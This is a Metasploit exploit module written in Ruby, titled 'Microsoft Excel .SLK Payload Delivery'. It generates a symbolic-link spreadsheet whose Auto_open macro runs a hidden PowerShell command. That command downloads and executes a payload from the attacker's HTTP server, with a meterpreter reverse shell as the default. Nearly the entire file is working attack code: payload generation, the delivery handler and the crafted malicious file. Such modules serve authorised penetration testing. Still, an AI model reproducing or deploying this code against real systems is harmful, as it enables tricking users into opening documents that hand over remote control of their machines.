117 lines
4.2 KiB
Ruby
117 lines
4.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => "Microsoft Excel .SLK Payload Delivery",
|
|
'Description' => %Q{
|
|
This module generates a download and execute Powershell
|
|
command to be placed in an .SLK Excel spreadsheet.
|
|
When executed, it will retrieve a payload via HTTP
|
|
from a web server. When the file is opened, the
|
|
user will be prompted to "Enable Content." Once
|
|
this is pressed, the payload will execute.
|
|
},
|
|
'Author' => [
|
|
'Carter Brainerd', # cbrnrd; Metasploit module
|
|
'Stan Hegt', # @StanHacked; Discovery
|
|
'Pieter Ceelen' # @ptrpieter; Discovery
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'https://blog.appriver.com/2018/02/trojan-droppers-using-symbolic-link-files'],
|
|
['URL', 'https://www.twitter.com/StanHacked/status/1049047727403937795'],
|
|
['URL', 'http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen']
|
|
],
|
|
'Platform' => 'win', # idk about other platforms
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' =>
|
|
[
|
|
['Microsoft Excel', {} ]
|
|
],
|
|
'DisclosureDate' => '2018-10-07',
|
|
'DefaultTarget' => 0,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'DisablePayloadHandler' => false,
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
|
|
'EXITFUNC' => 'thread'
|
|
}
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('FILENAME', [true, "Filename to save as", "#{rand_text_alphanumeric 8}.slk"])
|
|
])
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if request.raw_uri.to_s.end_with? '.slk'
|
|
print_status("Handling request for .slk from #{cli.peerhost}")
|
|
payload = gen_psh("#{get_uri}", "string")
|
|
data = create_slk(payload)
|
|
send_response(cli, data, 'Content-Type' => 'text/plain')
|
|
else
|
|
print_status("Delivering payload to #{cli.peerhost}...")
|
|
p = regenerate_payload(cli)
|
|
data = cmd_psh_payload(p.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
|
|
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
|
|
end
|
|
end
|
|
|
|
# I might be able to do without this (using cmd_psh_payload() and encode_final_payload() in Msf::Exploit::Powershell)
|
|
def gen_psh(url, *method)
|
|
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
|
|
|
if method.include? 'string'
|
|
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
|
|
else
|
|
# Random filename to use, if there isn't anything set
|
|
random = "#{rand_text_alphanumeric 8}.exe"
|
|
# Set filename (Use random filename if empty)
|
|
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
|
|
|
|
# Set path (Use %TEMP% if empty)
|
|
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
|
|
|
|
# Join Path and Filename
|
|
file = %Q(echo (#{path}+'\\#{filename}'))
|
|
|
|
# Generate download PowerShell command
|
|
download_string = Rex::Powershell::PshMethods.download_run(url, file)
|
|
end
|
|
|
|
download_and_run = "#{ignore_cert}#{download_string}"
|
|
|
|
# Generate main PowerShell command
|
|
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
|
|
end
|
|
|
|
def create_slk(cmd)
|
|
content = "ID;P\n"
|
|
content << "O;E\n"
|
|
content << "NN;NAuto_open;ER101C1;KOut Flank;F\n"
|
|
content << "C;X1;Y101;EEXEC(\"#{cmd}\")\n" # Execute command
|
|
content << "C;X1;Y102;EHALT()\n"
|
|
content << "E"
|
|
content
|
|
end
|
|
|
|
def primer
|
|
file_create(create_slk(gen_psh("#{get_uri}", 'string')))
|
|
end
|
|
end
|